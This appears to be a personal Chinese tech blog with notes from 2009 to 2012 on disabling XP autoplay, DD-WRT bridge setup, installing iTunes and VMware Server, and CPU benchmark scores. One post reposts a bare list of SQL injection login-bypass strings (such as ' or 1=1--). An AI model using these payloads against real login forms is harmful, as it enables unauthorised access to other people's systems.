2012年7月23日 星期一

查詢IP位址的網域擁有單位

查詢IP的網域擁有單位:
http://rms.twnic.net.tw/twnic/login.jsp

關閉XP自動播放功能


關閉光碟自動啟動功能
每次放入光碟時, 電腦會自動執行開啟光碟功能, 都會頓一下, 有時後還停蠻久的, 以下
方法可以把 自動執行開啟光碟 的功能關閉.

執行 → 輸入 gpedit.msc
出現 "群組原則" 視窗, 依序選左邊 電腦設定 → 系統管理範本 → 系統
找到右邊視窗的 → 關閉自動播放 點兩下左鍵
出現 "關閉自動播放內容" 對話窗, 點選 "已啟用"
再下來在 "停用自動播放在" 的下拉選單, 選擇 "CDROM光碟機"
完成, 光碟放入 就不會再自動執行了~

簡易流程:
執行 → gpedit.msc → 電腦設定 → 系統管理範本 → 系統 →
關閉自動播放 → 已啟用 → CDROM光碟機 → 完成

以上 for Windows XP

2011年12月9日 星期五

DD-WRT Repeater Bridge 設定筆記WL-500g

DD-WRT Repeater Bridge 設定筆記WL-500g

Broadcom的CPU才有支援Repeater Bridge。

http://www.dd-wrt.com/wiki/index.php/Repeater_Bridge

http://digiland.tw/viewtopic.php?id=886


這個步驟最清楚:
http://www.dd-wrt.com/wiki/images/9/9b/Repeater_Bridge.jpg

1.恢復DD-WRT原廠設定
save > apply
2.Wireless -> Basic Settings
* Physical Interface Section
o Wireless Mode : Repeater Bridge
o Wireless Network Mode : Must Match Primary Router
o Wireless Network Name(SSID) : Must Match Primary Router - Make
sure you spell this correctly
o Wireless Channel : Must Match Primary Router (This will disappear
once you put it in RB mode, and isn't needed)
o Wireless SSID Broadcast : Enable
o Network Configuration : Bridged
o Save
* Virtual Interfaces Section
o Add
o Wireless Network Name(SSID) : Different from Primary Router
+ [NOTE] - You CAN try using the same SSID but it usually
will not work properly. Many have had random disconnects and/or no connection
if the SSID's are the same. If using the same ssid doesn't work for you, use
a different ssid from the primary router
o Wireless SSID Broadcast : Enable
o AP Isolation : Disable
o Network Configuration : Bridged
o Save

3.
Open the Wireless -> Wireless Security tab

* Physical Interface Section
o Security Mode : Must Match Primary Router and DD-wrt only works
reliably with WEP or WPA2-AES
o WPA Algorithms : Must Match Primary Router
o WPA Shared Key : Must Match Primary Router
o Key Renewal Interval (in seconds) : Leave default
* Virtual Interfaces Section (note if you don't see this section your
firmware should be atleast v24-sp2)
o Security Mode : Must Match Physical Interface
o WPA Algorithms : Must Match Physical Interface
o WPA Shared Key : Must Match Physical Interface
o Key Renewal Interval (in seconds) : Leave default
o Save

# Open the Setup -> Basic Setup tab

* Connection Type will be: Disabled
* Set STP for Disabled (Enabled sometimes can cause connection problems)
redhawk
* IP Address : 192.168.1.2 (Assuming Primary Router IP is 192.168.1.1)
* Mask : 255.255.255.0
* Gateway: 192.168.1.1 (again assuming Primary Router IP is 192.168.1.1)
* DHCP Server: Disable
* Local DNS: 192.168.1.1 (if IP of Primary Router is 192.168.1.1)
* Assign WAN Port to Switch : Optionally enable this to use the WAN port
as another LAN port.
* Save

# Log back into the router at it's new IP address of http://192.168.1.2

* Open Setup -> Advanced Routing tab
* Set Operating mode to "Router"
* Save

# Open Services

* Disable Dnsmasq
* Save

# Open the Security -> Firewall tab

* Uncheck all boxes...except Filter Multicast
* Disable SPI firewall
* APPLY Settings


2011年12月3日 星期六

DD-WRT Client Bridge 設定筆記DIR-300


D-Link DIR-300 A1 刷DD-WRT

由於不是Broadcom的晶片,所以無法使用Repeater Bridge。

Repeater Bridge:AP1可連上網路。AP2用無線網路接上AP1,然後其他裝置可用無線網路
連上AP2來上網。

Client Bridge:AP1可連上網路。AP2用無線網路接上AP1,然後其他裝置可用網路線連上
AP2來上網。


=====================================================
DIR-300 A1的Client Bridge設定:

0.首先,DD-WRT要是v24 SP2的版本。SP1會有問題。
0.再來,來源AP1的加密設定不能用WEP的Open,要用WEP的Shared Key或其他。
我是用WPA Personal的TKIP成功。

1.回複DD-WRT原始設定:[Administration] > [Factory Defaults]
存檔
2.[WIRELESS > BASIC SETUP] Wireless Mode : Client Bridge
Wireless Network Name (SSID)要設為來源AP的SSID。
存檔

3.[WIRELESS > WIRELESS SECURITY] 依照來源AP的設定來做設定,讓DD-WRT可以連上來
源AP。
存檔

4.[SECURITY > FIREWALL]
Block WAN Requests 全部取消
存檔
SPI Firewall > Disable
存檔

5.[STATUS > WIRELESS] > Site Survey
選取來源AP,按下join。

6.[Setup > Basic Setup > Network Setup ] 設為和來源AP相同網域不同ip。
假如來源AP是192.168.11.1/255.255.255.0,則這裡設為192.168.11.2/255.255.255.0

Gateway和DNS不填。


存檔 > Apply重啟

2011年4月11日 星期一

iTunes installs to Windows 2003 安裝筆記

1.分別去apple網站下載
  QuickTime 7 和 iTunes 10

2.先安裝QuickTime7

3.直接安裝iTunes (會出現錯誤,沒關係)

4.下載微軟的Orca程式。
5.用WinRAR解壓縮iTunes的安裝檔iTunesSetup.exe
6.用Orca開啟裡面的AppleMobileDeviceSupport.msi
在Tables下,找到LaunchCondition,點選一下。
右方會有個【(VersionNT=501 And ServicePackLevel>=2) Or VersionNT>=600】
把這個值改成【(VersionNT=501 And ServicePackLevel>=2) Or VersionNT>=500】
(或是把LaunchCondition 右邊的項目全刪掉也可以)
存檔!

7.安裝AppleMobileDeviceSupport.msi
8.安裝AppleApplicationSupport.msi
9.安裝Bonjour.msi

ok

2009年10月13日 星期二

VMWare Server 2 For Linux 安裝筆記



在Linux安裝VMWare Server,

系統需要先安裝: (先切換到su,會比較沒有麻煩)
1.Linux kernel-devel 和 xintd
# yum install kernel-devel xinetd

如果在Ubuntu可以用: # sudo apt-get install linux-headers-'uname -r'
build-essential

2.gcc
# yum groupinstall "Development Libraries" "Development Tools"

# yum install gcc


切換到su
安裝VMServer的RPM檔 ( xxxx是版本 )
# rpm -Uhv VMware-server-xxxx.rpm

最後 要做設定
Run the configuration script:
# ./vmware-config.pl


裝好之後要注意Linux的防火牆設定!
要在iptables中將VM的http和https的port開啟!
1.可以使用CentOS中的setup指令,自訂接受的port。
2.到/etc/sysconfig/iptables這個檔案中去新增規則。
  規則如下:
  -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 8222 -j
ACCEPT
  -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 8333 -j
ACCEPT


=============================================
VIClient要登入時,
位址的部分,要從https的port去登入。
=============================================
關閉web服務,只用viclient。增加效能。

關閉WebAccess:
# service vmware-mgmt stop

寫入檔案:
# vi /etc/init.d/vmware
將檔案中的#vmware_start_webAccess這一行屏蔽掉(在最後一個段落)。(用井字號# )  (
修改/etc/init.d/vmware, 屏蔽: line 1202:)

If you want to turn off HTTP/HTTPS access completely (strangely, I didn't see
any reduction in memory usage when I did this), comment out the _entire_

<proxysvc> section in the file /etc/vmware/hostd/proxy.xml and restart hostd.

# service vmware-mgmt stop && service vmware-mgmt start

參考網址:
1.VMware Server 2 for Linux: HOW-TO Disable VMware Virtual Infrastructure Web
Access:

http://blog.netnerds.net/2009/01/vmware-server-2-for-linux-how-to-disable-vmware-virtual-infrastructure-web-access/
2.HOWTO: VMWare Server 2, Disable Web Server Interface:

http://www.linux.com/community/blogs/howto-vmware-server-2-disable-web-server-interface.html




2009年10月6日 星期二

SQL Injection Strings (帳密資安)



來源網站:http://www.governmentsecurity.org/forum/index.php?showtopic=344&st=0&#entry935


admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a


2009年10月5日 星期一

我的電腦的CPUMark99列表總整理


Celeron NorthWood 2.4G  + SOYO P4X400 DRAGON Ultra
CPUMark99 Score:92.3

Athlon XP 1800+ 1533MHz Palomino + Gigabyte 7vrx
CPUMark99 Score:142

Athlon XP 1800+ 1533MHz Thoroughbred + Gigabyte 7VM400M
CPUMark99 Score:132

Acer TravelMate 3211WXCi + Intel Pentium M 730  1.60GHz  Dothan
CPUMark99 Score:190

EeePC 701 + Celeron M ULV 353 900MHz in 630 MHz(70 MHz x 9)
CPUMark99 Score:66.8

EeePC 701 + Celeron M ULV 353 900MHz in 900MHz
CPUMark99 Score:101

(Intel Atom N270 CPUMark99 Score: 111 )

仁寶 JFT00 (Dell Vostro 1200) + Intel Mobile Core 2 Duo T7500 @ 2.20GHz
CPUMark99 Score:310

浩鑫 Shuttle XPC SS31T + Celeron E1400 @ 2.00GHz
CPUMark99 Score:249

精英EVCM-F + VIA C3 1.0G
CPUMark99 Score:63.3

Celeron 1G (P3等級) + Intel 815 Chipset 雜牌主機板
CPUMark99 Score:66.7